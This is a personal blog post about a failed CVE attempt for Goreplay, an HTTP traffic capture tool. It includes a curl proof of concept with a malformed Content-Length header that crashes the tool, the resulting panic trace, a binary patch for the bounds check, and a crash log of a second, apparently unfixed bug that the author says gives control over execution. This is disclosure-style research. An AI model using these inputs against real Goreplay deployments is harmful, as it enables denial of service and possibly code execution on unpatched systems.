Goreplay Crashed, My Hopes Did Too
A couple of weeks ago, I tried to get my first CVE but failed miserably. I will talk about how I found the bugs, the process, and the result.
Intro
Goreplay, shortly Gor, is an open-source tool for capturing and replaying live HTTP traffic. It uses the gopacket library to capture packets.
Bugs
Gor has a very basic parser for headers and crashes when malformed headers are present. For example:
POC
- Start a simple server on port 8000:
python3 -m http.server - Start the capture:
sudo ./gor -input-raw enp0s1:8000 -output-stdout - Send the packet (the
Content-Lengthheader is malformed)
curl -v http://localhost:8000 \
-H $'Host: example.com' \
-H $'Content-Length:\n16' \
--data 'Body content ...'Crash
panic: runtime error: slice bounds out of range [88:87]
goroutine 18 [running]:
github.com/buger/goreplay/proto.header(0xc0000fa132, 0xa0, 0xa0, 0xc00005fe09, 0xe, 0xe, 0x0, 0x0, 0x0, 0xffffffffffffffff, ...)
/go/src/github.com/buger/goreplay/proto/proto.go:118 +0x425
github.com/buger/goreplay/proto.Header(...)
/go/src/github.com/buger/goreplay/proto/proto.go:152
github.com/buger/goreplay/proto.HasFullPayload(0x1077fc0, 0xc000310000, 0xc0002f4040, 0x1, 0x1, 0x90)
/go/src/github.com/buger/goreplay/proto/proto.go:523 +0x545
github.com/buger/goreplay/capture.http1EndHint(0xc000310000, 0xc00030e1a0)
/go/src/github.com/buger/goreplay/capture/capture.go:361 +0x8b
github.com/buger/goreplay/tcp.(*MessageParser).addPacket(0xc0002da000, 0xc000310000, 0xc00030e1a0, 0xc000312048)
/go/src/github.com/buger/goreplay/tcp/tcp_message.go:354 +0x6d
github.com/buger/goreplay/tcp.(*MessageParser).processPacket(0xc0002da000, 0xc00030e1a0)
/go/src/github.com/buger/goreplay/tcp/tcp_message.go:343 +0x272
github.com/buger/goreplay/tcp.(*MessageParser).wait(0xc0002da000)
/go/src/github.com/buger/goreplay/tcp/tcp_message.go:268 +0x1eb
created by github.com/buger/goreplay/tcp.NewMessageParser
/go/src/github.com/buger/goreplay/tcp/tcp_message.go:249 +0x194Fix
From the crash log, we see that it occurs on line 118. Let’s see what’s there:
value = payload[valueStart : valueEnd+1]Since Gor has a very basic header parser, it doesn’t check the boundaries of the payload array. Go has a built-in array bounds checker, so it crashes when the slice range exceeds the capacity of the array.
Here is what Go’s array boundary check looks like:
loc_7398B9:
lea rcx, [rdi+1]
mov rdx, [rsp+70h+payload.cap]
cmp rcx, rdx
ja loc_739A65
cmp rsi, rcx
ja loc_739A5C
loc_73992F:
mov [rsp+70h+value.array], 0
xorps xmm0, xmm0
movups xmmword ptr [rsp+70h+value.len], xmm0
mov [rsp+70h+headerStart], 0FFFFFFFFFFFFFFFFh
mov [rsp+70h+headerEnd], 0FFFFFFFFFFFFFFFFh
mov [rsp+70h+valueStart], 0FFFFFFFFFFFFFFFFh
mov [rsp+70h+valueEnd], 0FFFFFFFFFFFFFFFFh
mov rbp, [rsp+70h+var_8]
add rsp, 70h
nop
retn
loc_739A65:
call runtime_panicSliceAcap
loc_739A5C:
mov rax, rsi
nop
call runtime_panicSliceBInstead of crashing the app, we can patch the ja opcode to jump somewhere safe. For example, if we want to just ignore it, we can jump to the loc_73992F location so that it safely ignores the issue.
| Original | Patched | Assembly |
|---|---|---|
0F 87 97 01 00 00 |
0F 87 61 00 00 00 |
ja loc_73992F |
OF 87 85 01 00 00 |
0F 87 58 00 00 00 |
ja loc_73992F |
Reporting
I informed the author of the library by email. It was actually hard to report the vulnerability. The README file says:
All bug reports and suggestions should go through GitHub Issues or our Google Group (you can just send an email to gor-users@googlegroups.com). If you have a private question, feel free to send an email to support@gortool.com.
I tried to email that address, but it seems the address is no longer valid. I had to find the author and his personal email address to report the bug. I gave them a detailed explanation of the bug and told them that I was planning to request a CVE in 2 weeks (on May 8, 2025). They replied the next day and said they would love to fix it.
As of today, June 22, 2025, the bug is still there, and I don’t see any sign of a fix.
I also tried to get a CVE via https://cveform.mitre.org/, but they didn’t acknowledge my report.
Anyway, if anybody wants to get a CVE for this software, here is another crash log that leads to RCE.
#0 github.com/buger/goreplay/internal/tcp.(*Packet).parse (pckt=0xc00e6ea750, data=...,
lType=3399988123389603631, lTypeLen=3399988123389603631, cp=0x2f2f2f2f2f2f2f2f,
allowEmpty=false, ~r0=...) at github.com/buger/goreplay/internal/tcp/tcp_packet.go:101
proto = <optimized out>
dOf = <optimized out>
ldata = <optimized out>
netLayer = <optimized out>
transLayer = <optimized out>
ndata = <optimized out>
#1 0x0000000000b6d27b in github.com/buger/goreplay/internal/tcp.ParsePacket (data=...,
lType=3399988123389603631, lTypeLen=3399988123389603631, ci=0x2f2f2f2f2f2f2f2f,
allowEmpty=false, pckt=<optimized out>, err=...)
at github.com/buger/goreplay/internal/tcp/tcp_packet.go:88
err = <optimized out>
#2 0x0000000000b6c605 in github.com/buger/goreplay/internal/tcp.(*MessageParser).parsePacket (
parser=0xc000014000, pcapPkt=<optimized out>, ~r0=<optimized out>)
at github.com/buger/goreplay/internal/tcp/tcp_message.go:282
pckt = <optimized out>
err = <optimized out>
#3 0x0000000000b6c54d in github.com/buger/goreplay/internal/tcp.(*MessageParser).wait (
parser=0xc000014000) at github.com/buger/goreplay/internal/tcp/tcp_message.go:268
pckt = 0x2f2f2f2f2f2f2f2f
#4 0x0000000000b6c3c5 in github.com/buger/goreplay/internal/tcp.NewMessageParser.gowrap1 ()
at github.com/buger/goreplay/internal/tcp/tcp_message.go:249
#5 0x0000000000481da1 in runtime.goexit () at runtime/asm_amd64.s:1700
No locals.
#6 0x0000000000000000 in ?? ()You can see that my payload //////, which is essentially 0x2f2f2f2f2f2f2f2f, controls the execution.
This bug occurs when you capture traffic in raw_socket mode. I won’t dive deep into how this bug happens. Why bother, if even the original software author doesn’t care about it?